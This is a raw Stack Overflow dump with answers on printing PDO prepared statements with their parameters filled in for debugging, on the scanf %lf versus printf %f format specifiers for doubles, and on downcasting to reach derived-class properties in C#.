"author_profile": "https://Stackoverflow.com/users/393134",
"pm_score": 3,
"selected": false,
"text": "<p>Added a little bit more to the code by Mike - walk the values to add single quotes </p>\n\n<pre><code>/**\n * Replaces any parameter placeholders in a query with the value of that\n * parameter. Useful for debugging. Assumes anonymous parameters from \n * $params are are in the same order as specified in $query\n *\n * @param string $query The sql query with parameter placeholders\n * @param array $params The array of substitution parameters\n * @return string The interpolated query\n */\npublic function interpolateQuery($query, $params) {\n $keys = array();\n $values = $params;\n\n # build a regular expression for each parameter\n foreach ($params as $key => $value) {\n if (is_string($key)) {\n $keys[] = '/:'.$key.'/';\n } else {\n $keys[] = '/[?]/';\n }\n\n if (is_array($value))\n $values[$key] = implode(',', $value);\n\n if (is_null($value))\n $values[$key] = 'NULL';\n }\n // Walk the array to see if we can add single-quotes to strings\n array_walk($values, create_function('&$v, $k', 'if (!is_numeric($v) && $v!=\"NULL\") $v = \"\\'\".$v.\"\\'\";'));\n\n $query = preg_replace($keys, $values, $query, 1, $count);\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 23726095,
"author": "Noah Heck",
"author_id": 2422852,
"author_profile": "https://Stackoverflow.com/users/2422852",
"pm_score": 3,
"selected": false,
"text": "<p>I spent a good deal of time researching this situation for my own needs. This and several other SO threads helped me a great deal, so I wanted to share what I came up with.</p>\n\n<p>While having access to the interpolated query string is a significant benefit while troubleshooting, we wanted to be able to maintain a log of only certain queries (therefore, using the database logs for this purpose was not ideal). We also wanted to be able to use the logs to recreate the condition of the tables at any given time, therefore, we needed to make certain the interpolated strings were escaped properly. Finally, we wanted to extend this functionality to our entire code base having to re-write as little of it as possible (deadlines, marketing, and such; you know how it is).</p>\n\n<p>My solution was to extend the functionality of the default PDOStatement object to cache the parameterized values (or references), and when the statement is executed, use the functionality of the PDO object to properly escape the parameters when they are injected back in to the query string. We could then tie in to execute method of the statement object and log the actual query that was executed at that time (<em>or at least as faithful of a reproduction as possible)</em>.</p>\n\n<p>As I said, we didn't want to modify the entire code base to add this functionality, so we overwrite the default <code>bindParam()</code> and <code>bindValue()</code> methods of the PDOStatement object, do our caching of the bound data, then call <code>parent::bindParam()</code> or parent::<code>bindValue()</code>. This allowed our existing code base to continue to function as normal.</p>\n\n<p>Finally, when the <code>execute()</code> method is called, we perform our interpolation and provide the resultant string as a new property <code>E_PDOStatement->fullQuery</code>. This can be output to view the query or, for example, written to a log file.</p>\n\n<p>The extension, along with installation and configuration instructions, are available on github:</p>\n\n<p><a href=\"https://github.com/noahheck/E_PDOStatement\" rel=\"noreferrer\">https://github.com/noahheck/E_PDOStatement</a></p>\n\n<p><strong>DISCLAIMER</strong>:<br>\nObviously, as I mentioned, I wrote this extension. Because it was developed with help from many threads here, I wanted to post my solution here in case anyone else comes across these threads, just as I did.</p>\n"
},
{
"answer_id": 24911732,
"author": "Jimmy Kane",
"author_id": 1857292,
"author_profile": "https://Stackoverflow.com/users/1857292",
"pm_score": 4,
"selected": false,
"text": "<p>A bit late probably but now there is <code>PDOStatement::debugDumpParams</code></p>\n\n<blockquote>\n <p>Dumps the informations contained by a prepared statement directly on\n the output. It will provide the SQL query in use, the number of\n parameters used (Params), the list of parameters, with their name,\n type (paramtype) as an integer, their key name or position, and the\n position in the query (if this is supported by the PDO driver,\n otherwise, it will be -1).</p>\n</blockquote>\n\n<p>You can find more on the <a href=\"http://php.net/manual/en/pdostatement.debugdumpparams.php\">official php docs</a></p>\n\n<p>Example:</p>\n\n<pre><code><?php\n/* Execute a prepared statement by binding PHP variables */\n$calories = 150;\n$colour = 'red';\n$sth = $dbh->prepare('SELECT name, colour, calories\n FROM fruit\n WHERE calories < :calories AND colour = :colour');\n$sth->bindParam(':calories', $calories, PDO::PARAM_INT);\n$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);\n$sth->execute();\n\n$sth->debugDumpParams();\n\n?>\n</code></pre>\n"
},
{
"answer_id": 33932131,
"author": "vee",
"author_id": 128761,
"author_profile": "https://Stackoverflow.com/users/128761",
"pm_score": -1,
"selected": false,
"text": "<p><a href=\"https://stackoverflow.com/a/8403150/128761\">Mike's answer</a> is working good until you are using the \"re-use\" bind value.<br>\nFor example: </p>\n\n<pre><code>SELECT * FROM `an_modules` AS `m` LEFT JOIN `an_module_sites` AS `ms` ON m.module_id = ms.module_id WHERE 1 AND `module_enable` = :module_enable AND `site_id` = :site_id AND (`module_system_name` LIKE :search OR `module_version` LIKE :search)\n</code></pre>\n\n<p>The Mike's answer can only replace first :search but not the second.<br>\nSo, I rewrite his answer to work with multiple parameters that can re-used properly.</p>\n\n<pre><code>public function interpolateQuery($query, $params) {\n $keys = array();\n $values = $params;\n $values_limit = [];\n\n $words_repeated = array_count_values(str_word_count($query, 1, ':_'));\n\n # build a regular expression for each parameter\n foreach ($params as $key => $value) {\n if (is_string($key)) {\n $keys[] = '/:'.$key.'/';\n $values_limit[$key] = (isset($words_repeated[':'.$key]) ? intval($words_repeated[':'.$key]) : 1);\n } else {\n $keys[] = '/[?]/';\n $values_limit = [];\n }\n\n if (is_string($value))\n $values[$key] = \"'\" . $value . \"'\";\n\n if (is_array($value))\n $values[$key] = \"'\" . implode(\"','\", $value) . \"'\";\n\n if (is_null($value))\n $values[$key] = 'NULL';\n }\n\n if (is_array($values)) {\n foreach ($values as $key => $val) {\n if (isset($values_limit[$key])) {\n $query = preg_replace(['/:'.$key.'/'], [$val], $query, $values_limit[$key], $count);\n } else {\n $query = preg_replace(['/:'.$key.'/'], [$val], $query, 1, $count);\n }\n }\n unset($key, $val);\n } else {\n $query = preg_replace($keys, $values, $query, 1, $count);\n }\n unset($keys, $values, $values_limit, $words_repeated);\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 34681244,
"author": "Markos F",
"author_id": 2076316,
"author_profile": "https://Stackoverflow.com/users/2076316",
"pm_score": -1,
"selected": false,
"text": "<p>preg_replace didn't work for me and when binding_ was over 9, binding_1 and binding_10 was replaced with str_replace (leaving the 0 behind), so I made the replacements backwards:</p>\n\n<pre><code>public function interpolateQuery($query, $params) {\n$keys = array();\n $length = count($params)-1;\n for ($i = $length; $i >=0; $i--) {\n $query = str_replace(':binding_'.(string)$i, '\\''.$params[$i]['val'].'\\'', $query);\n }\n // $query = str_replace('SQL_CALC_FOUND_ROWS', '', $query, $count);\n return $query;\n</code></pre>\n\n<p>}</p>\n\n<p>Hope someone finds it useful. </p>\n"
},
{
"answer_id": 38049697,
"author": "ducminh1903",
"author_id": 3254564,
"author_profile": "https://Stackoverflow.com/users/3254564",
"pm_score": -1,
"selected": false,
"text": "<p>I need to log full query string after bind param so this is a piece in my code. Hope, it is useful for everyone hat has the same issue.</p>\n\n<pre><code>/**\n * \n * @param string $str\n * @return string\n */\npublic function quote($str) {\n if (!is_array($str)) {\n return $this->pdo->quote($str);\n } else {\n $str = implode(',', array_map(function($v) {\n return $this->quote($v);\n }, $str));\n\n if (empty($str)) {\n return 'NULL';\n }\n\n return $str;\n }\n}\n\n/**\n * \n * @param string $query\n * @param array $params\n * @return string\n * @throws Exception\n */\npublic function interpolateQuery($query, $params) {\n $ps = preg_split(\"/'/is\", $query);\n $pieces = [];\n $prev = null;\n foreach ($ps as $p) {\n $lastChar = substr($p, strlen($p) - 1);\n\n if ($lastChar != \"\\\\\") {\n if ($prev === null) {\n $pieces[] = $p;\n } else {\n $pieces[] = $prev . \"'\" . $p;\n $prev = null;\n }\n } else {\n $prev .= ($prev === null ? '' : \"'\") . $p;\n }\n }\n\n $arr = [];\n $indexQuestionMark = -1;\n $matches = [];\n\n for ($i = 0; $i < count($pieces); $i++) {\n if ($i % 2 !== 0) {\n $arr[] = \"'\" . $pieces[$i] . \"'\";\n } else {\n $st = '';\n $s = $pieces[$i];\n while (!empty($s)) {\n if (preg_match(\"/(\\?|:[A-Z0-9_\\-]+)/is\", $s, $matches, PREG_OFFSET_CAPTURE)) {\n $index = $matches[0][1];\n $st .= substr($s, 0, $index);\n $key = $matches[0][0];\n $s = substr($s, $index + strlen($key));\n\n if ($key == '?') {\n $indexQuestionMark++;\n if (array_key_exists($indexQuestionMark, $params)) {\n $st .= $this->quote($params[$indexQuestionMark]);\n } else {\n throw new Exception('Wrong params in query at ' . $index);\n }\n } else {\n if (array_key_exists($key, $params)) {\n $st .= $this->quote($params[$key]);\n } else {\n throw new Exception('Wrong params in query with key ' . $key);\n }\n }\n } else {\n $st .= $s;\n $s = null;\n }\n }\n $arr[] = $st;\n }\n }\n\n return implode('', $arr);\n}\n</code></pre>\n"
},
{
"answer_id": 42144012,
"author": "Otamay",
"author_id": 1644498,
"author_profile": "https://Stackoverflow.com/users/1644498",
"pm_score": 3,
"selected": false,
"text": "<p>You can extend PDOStatement class to capture the bounded variables and store them for later use. Then 2 methods may be added, one for variable sanitizing ( debugBindedVariables ) and another to print the query with those variables ( debugQuery ):</p>\n\n<pre><code>class DebugPDOStatement extends \\PDOStatement{\n private $bound_variables=array();\n protected $pdo;\n\n protected function __construct($pdo) {\n $this->pdo = $pdo;\n }\n\n public function bindValue($parameter, $value, $data_type=\\PDO::PARAM_STR){\n $this->bound_variables[$parameter] = (object) array('type'=>$data_type, 'value'=>$value);\n return parent::bindValue($parameter, $value, $data_type);\n }\n\n public function bindParam($parameter, &$variable, $data_type=\\PDO::PARAM_STR, $length=NULL , $driver_options=NULL){\n $this->bound_variables[$parameter] = (object) array('type'=>$data_type, 'value'=>&$variable);\n return parent::bindParam($parameter, $variable, $data_type, $length, $driver_options);\n }\n\n public function debugBindedVariables(){\n $vars=array();\n\n foreach($this->bound_variables as $key=>$val){\n $vars[$key] = $val->value;\n\n if($vars[$key]===NULL)\n continue;\n\n switch($val->type){\n case \\PDO::PARAM_STR: $type = 'string'; break;\n case \\PDO::PARAM_BOOL: $type = 'boolean'; break;\n case \\PDO::PARAM_INT: $type = 'integer'; break;\n case \\PDO::PARAM_NULL: $type = 'null'; break;\n default: $type = FALSE;\n }\n\n if($type !== FALSE)\n settype($vars[$key], $type);\n }\n\n if(is_numeric(key($vars)))\n ksort($vars);\n\n return $vars;\n }\n\n public function debugQuery(){\n $queryString = $this->queryString;\n\n $vars=$this->debugBindedVariables();\n $params_are_numeric=is_numeric(key($vars));\n\n foreach($vars as $key=>&$var){\n switch(gettype($var)){\n case 'string': $var = \"'{$var}'\"; break;\n case 'integer': $var = \"{$var}\"; break;\n case 'boolean': $var = $var ? 'TRUE' : 'FALSE'; break;\n case 'NULL': $var = 'NULL';\n default:\n }\n }\n\n if($params_are_numeric){\n $queryString = preg_replace_callback( '/\\?/', function($match) use( &$vars) { return array_shift($vars); }, $queryString);\n }else{\n $queryString = strtr($queryString, $vars);\n }\n\n echo $queryString.PHP_EOL;\n }\n}\n\n\nclass DebugPDO extends \\PDO{\n public function __construct($dsn, $username=\"\", $password=\"\", $driver_options=array()) {\n $driver_options[\\PDO::ATTR_STATEMENT_CLASS] = array('DebugPDOStatement', array($this));\n $driver_options[\\PDO::ATTR_PERSISTENT] = FALSE;\n parent::__construct($dsn,$username,$password, $driver_options);\n }\n}\n</code></pre>\n\n<p>And then you can use this inherited class for debugging purpouses.</p>\n\n<pre><code>$dbh = new DebugPDO('mysql:host=localhost;dbname=test;','user','pass');\n\n$var='user_test';\n$sql=$dbh->prepare(\"SELECT user FROM users WHERE user = :test\");\n$sql->bindValue(':test', $var, PDO::PARAM_STR);\n$sql->execute();\n\n$sql->debugQuery();\nprint_r($sql->debugBindedVariables());\n</code></pre>\n\n<p>Resulting in</p>\n\n<blockquote>\n <p>SELECT user FROM users WHERE user = 'user_test' </p>\n \n <p>Array (\n [:test] => user_test \n )</p>\n</blockquote>\n"
},
{
"answer_id": 49141711,
"author": "JacopoStanchi",
"author_id": 8145618,
"author_profile": "https://Stackoverflow.com/users/8145618",
"pm_score": 4,
"selected": false,
"text": "<p>A solution is to voluntarily put an error in the query and to print the error's message:</p>\n\n<pre><code>//Connection to the database\n$co = new PDO('mysql:dbname=myDB;host=localhost','root','');\n//We allow to print the errors whenever there is one\n$co->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n//We create our prepared statement\n$stmt = $co->prepare(\"ELECT * FROM Person WHERE age=:age\"); //I removed the 'S' of 'SELECT'\n$stmt->bindValue(':age','18',PDO::PARAM_STR);\ntry {\n $stmt->execute();\n} catch (PDOException $e) {\n echo $e->getMessage();\n}\n</code></pre>\n\n<p>Standard output:</p>\n\n<blockquote>\n <p>SQLSTATE[42000]: Syntax error or access violation: [...] near <strong>'ELECT * FROM Person WHERE age=18'</strong> at line 1</p>\n</blockquote>\n\n<p>It is important to note that it only prints the first 80 characters of the query.</p>\n"
},
{
"answer_id": 53966487,
"author": "Sakura Kinomoto",
"author_id": 4537662,
"author_profile": "https://Stackoverflow.com/users/4537662",
"pm_score": 1,
"selected": false,
"text": "<p>I know this question is a bit old, but, I'm using this code since lot time ago (I've used response from @chris-go), and now, these code are obsolete with PHP 7.2</p>\n\n<p>I'll post an updated version of these code (Credit for the main code are from <a href=\"https://stackoverflow.com/a/1376838/4537662\">@bigwebguy</a>, <a href=\"https://stackoverflow.com/a/8403150/4537662\">@mike</a> and <a href=\"https://stackoverflow.com/a/12015992/4537662\">@chris-go</a>, all of them answers of this question):</p>\n\n<pre><code>/**\n * Replaces any parameter placeholders in a query with the value of that\n * parameter. Useful for debugging. Assumes anonymous parameters from \n * $params are are in the same order as specified in $query\n *\n * @param string $query The sql query with parameter placeholders\n * @param array $params The array of substitution parameters\n * @return string The interpolated query\n */\npublic function interpolateQuery($query, $params) {\n $keys = array();\n $values = $params;\n\n # build a regular expression for each parameter\n foreach ($params as $key => $value) {\n if (is_string($key)) {\n $keys[] = '/:'.$key.'/';\n } else {\n $keys[] = '/[?]/';\n }\n\n if (is_array($value))\n $values[$key] = implode(',', $value);\n\n if (is_null($value))\n $values[$key] = 'NULL';\n }\n // Walk the array to see if we can add single-quotes to strings\n array_walk($values, function(&$v, $k) { if (!is_numeric($v) && $v != \"NULL\") $v = \"\\'\" . $v . \"\\'\"; });\n\n $query = preg_replace($keys, $values, $query, 1, $count);\n\n return $query;\n}\n</code></pre>\n\n<p>Note the change on the code are on array_walk() function, replacing create_function by an anonymous function. This make these good piece of code functional and compatible with PHP 7.2 (and hope future versions too).</p>\n"
},
{
"answer_id": 56800829,
"author": "kurdtpage",
"author_id": 600852,
"author_profile": "https://Stackoverflow.com/users/600852",
"pm_score": 2,
"selected": false,
"text": "<p>You can use <code>sprintf(str_replace('?', '\"%s\"', $sql), ...$params);</code> </p>\n\n<p>Here is an example:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>function mysqli_prepared_query($link, $sql, $types='', $params=array()) {\n echo sprintf(str_replace('?', '\"%s\"', $sql), ...$params);\n //prepare, bind, execute\n}\n\n$link = new mysqli($server, $dbusername, $dbpassword, $database);\n$sql = \"SELECT firstname, lastname FROM users WHERE userage >= ? AND favecolor = ?\";\n$types = \"is\"; //integer and string\n$params = array(20, \"Brown\");\n\nif(!$qry = mysqli_prepared_query($link, $sql, $types, $params)){\n echo \"Failed\";\n} else {\n echo \"Success\";\n}\n</code></pre>\n\n<p>Note this only works for PHP >= 5.6</p>\n"
},
{
"answer_id": 66470138,
"author": "Magnus",
"author_id": 930640,
"author_profile": "https://Stackoverflow.com/users/930640",
"pm_score": 2,
"selected": false,
"text": "<p>None of the existing answers seemed complete or safe, so I came up with this function, which has the following improvements:</p>\n<ul>\n<li><p>works with both unnamed (<code>?</code>) and named (<code>:foo</code>) parameters.</p>\n</li>\n<li><p>using <a href=\"https://www.php.net/manual/en/pdo.quote.php\" rel=\"nofollow noreferrer\">PDO::quote()</a> to properly escape values which are not <code>NULL</code>, <code>int</code>, <code>float</code> or <code>bool</code>.</p>\n</li>\n<li><p>properly handles string values containing <code>"?"</code> and <code>":foo"</code> without mistaking them for placeholders.</p>\n</li>\n</ul>\n<pre><code> function interpolateSQL(PDO $pdo, string $query, array $params) : string {\n $s = chr(2); // Escape sequence for start of placeholder\n $e = chr(3); // Escape sequence for end of placeholder\n $keys = [];\n $values = [];\n\n // Make sure we use escape sequences that are not present in any value\n // to escape the placeholders.\n foreach ($params as $key => $value) {\n while( mb_stripos($value, $s) !== false ) $s .= $s;\n while( mb_stripos($value, $e) !== false ) $e .= $e;\n }\n \n \n foreach ($params as $key => $value) {\n // Build a regular expression for each parameter\n $keys[] = is_string($key) ? "/$s:$key$e/" : "/$s\\?$e/";\n\n // Treat each value depending on what type it is. \n // While PDO::quote() has a second parameter for type hinting, \n // it doesn't seem reliable (at least for the SQLite driver).\n if( is_null($value) ){\n $values[$key] = 'NULL';\n }\n elseif( is_int($value) || is_float($value) ){\n $values[$key] = $value;\n }\n elseif( is_bool($value) ){\n $values[$key] = $value ? 'true' : 'false';\n }\n else{\n $value = str_replace('\\\\', '\\\\\\\\', $value);\n $values[$key] = $pdo->quote($value);\n }\n }\n\n // Surround placehodlers with escape sequence, so we don't accidentally match\n // "?" or ":foo" inside any of the values.\n $query = preg_replace(['/\\?/', '/(:[a-zA-Z0-9_]+)/'], ["$s?$e", "$s$1$e"], $query);\n\n // Replace placeholders with actual values\n $query = preg_replace($keys, $values, $query, 1, $count);\n\n // Verify that we replaced exactly as many placeholders as there are keys and values\n if( $count !== count($keys) || $count !== count($values) ){\n throw new \\Exception('Number of replacements not same as number of keys and/or values');\n }\n\n return $query;\n }\n</code></pre>\n<p>I'm sure it can be improved further.</p>\n<p>In my case, I eventually ended up just logging the actual "unprepared query" (i.e. SQL containing placeholders) along with JSON-encoded parameters. However, this code might come in use for some use cases where you really need to interpolate the final SQL query.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210564",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5291/"
] |
Is there a way to get the raw SQL string executed when calling PDOStatement::execute() on a prepared statement? For debugging purposes this would be extremely useful.
|
I assume you mean that you want the final SQL query, with parameter values interpolated into it. I understand that this would be useful for debugging, but it is not the way prepared statements work. Parameters are not combined with a prepared statement on the client-side, so PDO should never have access to the query string combined with its parameters.
The SQL statement is sent to the database server when you do prepare(), and the parameters are sent separately when you do execute(). MySQL's general query log does show the final SQL with values interpolated after you execute(). Below is an excerpt from my general query log. I ran the queries from the mysql CLI, not from PDO, but the principle is the same.
```
081016 16:51:28 2 Query prepare s1 from 'select * from foo where i = ?'
2 Prepare [2] select * from foo where i = ?
081016 16:51:39 2 Query set @a =1
081016 16:51:47 2 Query execute s1 using @a
2 Execute [2] select * from foo where i = 1
```
You can also get what you want if you set the PDO attribute PDO::ATTR\_EMULATE\_PREPARES. In this mode, PDO interpolate parameters into the SQL query and sends the whole query when you execute(). **This is not a true prepared query.** You will circumvent the benefits of prepared queries by interpolating variables into the SQL string before execute().
---
Re comment from @afilina:
No, the textual SQL query is *not* combined with the parameters during execution. So there's nothing for PDO to show you.
Internally, if you use PDO::ATTR\_EMULATE\_PREPARES, PDO makes a copy of the SQL query and interpolates parameter values into it before doing the prepare and execute. But PDO does not expose this modified SQL query.
The PDOStatement object has a property $queryString, but this is set only in the constructor for the PDOStatement, and it's not updated when the query is rewritten with parameters.
It would be a reasonable feature request for PDO to ask them to expose the rewritten query. But even that wouldn't give you the "complete" query unless you use PDO::ATTR\_EMULATE\_PREPARES.
This is why I show the workaround above of using the MySQL server's general query log, because in this case even a prepared query with parameter placeholders is rewritten on the server, with parameter values backfilled into the query string. But this is only done during logging, not during query execution.
|
210,590 |
<p>Why is it that <code>scanf()</code> needs the <code>l</code> in "<code>%lf</code>" when reading a <code>double</code>, when <code>printf()</code> can use "<code>%f</code>" regardless of whether its argument is a <code>double</code> or a <code>float</code>?</p>
<p>Example code:</p>
<pre><code>double d;
scanf("%lf", &d);
printf("%f", d);
</code></pre>
|
[
{
"answer_id": 210591,
"author": "MSN",
"author_id": 6210,
"author_profile": "https://Stackoverflow.com/users/6210",
"pm_score": 9,
"selected": true,
"text": "<p>Because C will promote floats to doubles for functions that take variable arguments. Pointers aren't promoted to anything, so you should be using <code>%lf</code>, <code>%lg</code> or <code>%le</code> (or <code>%la</code> in C99) to read in doubles.</p>\n"
},
{
"answer_id": 210595,
"author": "Tanktalus",
"author_id": 23512,
"author_profile": "https://Stackoverflow.com/users/23512",
"pm_score": 4,
"selected": false,
"text": "<p><code>scanf</code> needs to know the size of the data being pointed at by <code>&d</code> to fill it properly, whereas variadic functions promote floats to doubles (not entirely sure why), so <code>printf</code> is always getting a <code>double</code>.</p>\n"
},
{
"answer_id": 210596,
"author": "fcw",
"author_id": 14577,
"author_profile": "https://Stackoverflow.com/users/14577",
"pm_score": 2,
"selected": false,
"text": "<p>Using either a float or a double value in a C expression will result in a value that is a double anyway, so printf can't tell the difference. Whereas a pointer to a double has to be explicitly signalled to scanf as distinct from a pointer to float, because what the pointer points to is what matters.</p>\n"
},
{
"answer_id": 210599,
"author": "Jim Buck",
"author_id": 2666,
"author_profile": "https://Stackoverflow.com/users/2666",
"pm_score": 3,
"selected": false,
"text": "<p>Because otherwise scanf will think you are passing a pointer to a float which is a smaller size than a double, and it will return an incorrect value.</p>\n"
},
{
"answer_id": 28222471,
"author": "AnT stands with Russia",
"author_id": 187690,
"author_profile": "https://Stackoverflow.com/users/187690",
"pm_score": 5,
"selected": false,
"text": "<p>Since С99 the matching between format specifiers and floating-point argument types in C is consistent between <code>printf</code> and <code>scanf</code>. It is </p>\n\n<ul>\n<li><code>%f</code> for <code>float</code></li>\n<li><code>%lf</code> for <code>double</code></li>\n<li><code>%Lf</code> for <code>long double</code></li>\n</ul>\n\n<p>It just so happens that when arguments of type <code>float</code> are passed as variadic parameters, such arguments are implicitly converted to type <code>double</code>. This is the reason why in <code>printf</code> format specifiers <code>%f</code> and <code>%lf</code> are equivalent and interchangeable. In <code>printf</code> you can \"cross-use\" <code>%lf</code> with <code>float</code> or <code>%f</code> with <code>double</code>.</p>\n\n<p>But there's no reason to actually do it in practice. Don't use <code>%f</code> to <code>printf</code> arguments of type <code>double</code>. It is a widespread habit born back in C89/90 times, but it is a bad habit. Use <code>%lf</code> in <code>printf</code> for <code>double</code> and keep <code>%f</code> reserved for <code>float</code> arguments.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210590",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
Why is it that `scanf()` needs the `l` in "`%lf`" when reading a `double`, when `printf()` can use "`%f`" regardless of whether its argument is a `double` or a `float`?
Example code:
```
double d;
scanf("%lf", &d);
printf("%f", d);
```
|
Because C will promote floats to doubles for functions that take variable arguments. Pointers aren't promoted to anything, so you should be using `%lf`, `%lg` or `%le` (or `%la` in C99) to read in doubles.
|
210,601 |
<p>In C#, what is the best way to access a property of the derived class when the generic list contains just the base class.</p>
<pre><code>public class ClassA : BaseClass
{
public object PropertyA { get; set; }
}
public class ClassB: BaseClass
{
public object PropertyB { get; set; }
}
public class BaseClass
{
}
public void Main
{
List<BaseClass> MyList = new List<BaseClass>();
ClassA a = new ClassA();
ClassB b = new ClassB();
MyList.Add(a);
MyList.Add(b);
for(int i = 0; i < MyList.Count; i++)
{
//I would like to access PropertyA abd PropertyB from the derived classes
}
}
</code></pre>
|
[
{
"answer_id": 210610,
"author": "Adam Wright",
"author_id": 1200,
"author_profile": "https://Stackoverflow.com/users/1200",
"pm_score": 1,
"selected": false,
"text": "<p>The whole premise doesn't make sense - what would PropertyB be for the a instance?</p>\n\n<p>You can do this if you do manual runtime type checking (inst is Foo), and then cast to the type with the property you want.</p>\n"
},
{
"answer_id": 210615,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 2,
"selected": false,
"text": "<pre><code> BaseClass o = MyList[i];\n if (o is ClassB)\n {\n object k = ((ClassB)o).PropertyB;\n }\n if (o is ClassA))\n {\n object j = ((ClassA)o).PropertyA;\n }\n</code></pre>\n"
},
{
"answer_id": 210617,
"author": "tsimon",
"author_id": 1685,
"author_profile": "https://Stackoverflow.com/users/1685",
"pm_score": 0,
"selected": false,
"text": "<p>You might have some issues with Generics and subclasses (in which case you should go back to System.Collections.ArrayList), but you have to cast the BaseClass to the subclass you wish to use. If you use the 'as' directory, it will succeed if the BaseClass can be casted to the subclass, or it will be null if it cannot be cast. It would look something like:</p>\n\n<pre><code>for(int i = 0; i < MyList.Count; i++)\n{\n BaseClass bc = MyList[i];\n ClassA a = bc as ClassA;\n ClassB b = bc as ClassB;\n bc.BaseClassMethod();\n if (a != null) {\n a.PropertyA;\n }\n if (b != null) {\n b.PropertyB;\n }\n}\n</code></pre>\n\n<p>Also, I should mention that this smells a bit bad. This is the kind of code that indicates a poorly structured object heirarchy. In general, if you can't say a IS A BaseClass, your design is probably wrong. But, hope that helps!</p>\n"
},
{
"answer_id": 210618,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 6,
"selected": true,
"text": "<p>Certainly you can downcast, like so:</p>\n\n<pre><code>for (int i = 0; i < MyList.Count; i++)\n{\n if (MyList[i] is ClassA)\n {\n var a = ((ClassA)MyList[i]).PropertyA;\n // do stuff with a\n }\n\n if (MyList[i] is ClassB)\n {\n var b = ((ClassB)MyList[i]).PropertyB;\n // do stuff with b\n }\n}\n</code></pre>\n\n<p>... However, you should take another look at what you're trying to accomplish. If you have common code that needs to get to properties of ClassA and ClassB, then you may be better off wrapping access to those properties up into a shared, virtual property or method in the ancestor class.</p>\n\n<p>Something like:</p>\n\n<pre><code>public class BaseClass\n{\n public virtual void DoStuff() { }\n}\n\npublic class ClassA : BaseClass\n{\n public object PropertyA { get; set; }\n\n public override void DoStuff() \n {\n // do stuff with PropertyA \n }\n}\n\npublic class ClassB : BaseClass\n{\n public object PropertyB { get; set; }\n\n public override void DoStuff() \n {\n // do stuff with PropertyB\n }\n}\n</code></pre>\n"
},
{
"answer_id": 210737,
"author": "Tim Jarvis",
"author_id": 10387,
"author_profile": "https://Stackoverflow.com/users/10387",
"pm_score": 2,
"selected": false,
"text": "<p>If you are doing this a lot, another option would be to create an extension method on the list to give you back the correctly typed enumeration. i.e.</p>\n\n<pre><code> public static class MyBaseListExtensions\n {\n public static IEnumerable<ClassA> GetAllAs(this List<MyBaseClass> list)\n {\n foreach (var obj in list)\n {\n if (obj is ClassA)\n {\n yield return (ClassA)obj;\n }\n }\n }\n\n public static IEnumerable<ClassB> GetAllbs(this List<MyBaseClass> list)\n {\n foreach (var obj in list)\n {\n if (obj is ClassB)\n {\n yield return (ClassB)obj;\n }\n }\n }\n }\n</code></pre>\n\n<p>Then you could use it like....</p>\n\n<pre><code>private void button1_Click(object sender, EventArgs e)\n{\n ClassA a1 = new ClassA() { PropertyA = \"Tim\" };\n ClassA a2 = new ClassA() { PropertyA = \"Pip\" };\n ClassB b1 = new ClassB() { PropertyB = \"Alex\" };\n ClassB b2 = new ClassB() { PropertyB = \"Rachel\" };\n\n List<MyBaseClass> list = new List<MyBaseClass>();\n list.Add(a1);\n list.Add(a2);\n list.Add(b1);\n list.Add(b2);\n\n foreach (var a in list.GetAllAs())\n {\n listBox1.Items.Add(a.PropertyA);\n }\n\n foreach (var b in list.GetAllbs())\n {\n listBox2.Items.Add(b.PropertyB);\n }\n}\n</code></pre>\n"
},
{
"answer_id": 210746,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>You would need to have the properties be declared as virtual on the base class and then override them in the derived class.</p>\n\n<p>Ex:</p>\n\n<pre><code>public class ClassA : BaseClass\n{\n public override object PropertyA { get; set; }\n}\n\npublic class ClassB: BaseClass\n{\n public override object PropertyB { get; set; }\n}\n\npublic class BaseClass\n{\n public virtual object PropertyA { get; set; }\n public virtual object PropertyB { get; set; }\n}\n\npublic void Main\n{\n List<BaseClass> MyList = new List<BaseClass>();\n ClassA a = new ClassA();\n ClassB b = new ClassB();\n\n MyList.Add(a);\n MyList.Add(b);\n\n for(int i = 0; i < MyList.Count; i++)\n {\n // Do something here with the Property\n MyList[i].PropertyA;\n MyList[i].PropertyB; \n }\n}\n</code></pre>\n\n<p>You would either need to implement the property in the base class to return a default value (such as null) or to make it abstract and force all the derived classes to implement both properties.</p>\n\n<p>You should also note that you could return different things for say PropertyA by overrideing it in both derived classes and returning different values.</p>\n"
},
{
"answer_id": 211781,
"author": "Daniel Earwicker",
"author_id": 27423,
"author_profile": "https://Stackoverflow.com/users/27423",
"pm_score": 3,
"selected": false,
"text": "<p>Further to TimJ's answer, you can write one extension method that will work for all types:</p>\n\n<pre><code>public static IEnumerable<T> OfType<T>(this IEnumerable list)\n{\n foreach (var obj in list)\n {\n if (obj is T)\n yield return (T)obj;\n }\n}\n</code></pre>\n\n<p>Or if you have Linq, that function is in the namespace System.Linq.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210601",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26327/"
] |
In C#, what is the best way to access a property of the derived class when the generic list contains just the base class.
```
public class ClassA : BaseClass
{
public object PropertyA { get; set; }
}
public class ClassB: BaseClass
{
public object PropertyB { get; set; }
}
public class BaseClass
{
}
public void Main
{
List<BaseClass> MyList = new List<BaseClass>();
ClassA a = new ClassA();
ClassB b = new ClassB();
MyList.Add(a);
MyList.Add(b);
for(int i = 0; i < MyList.Count; i++)
{
//I would like to access PropertyA abd PropertyB from the derived classes
}
}
```
|
Certainly you can downcast, like so:
```
for (int i = 0; i < MyList.Count; i++)
{
if (MyList[i] is ClassA)
{
var a = ((ClassA)MyList[i]).PropertyA;
// do stuff with a
}
if (MyList[i] is ClassB)
{
var b = ((ClassB)MyList[i]).PropertyB;
// do stuff with b
}
}
```
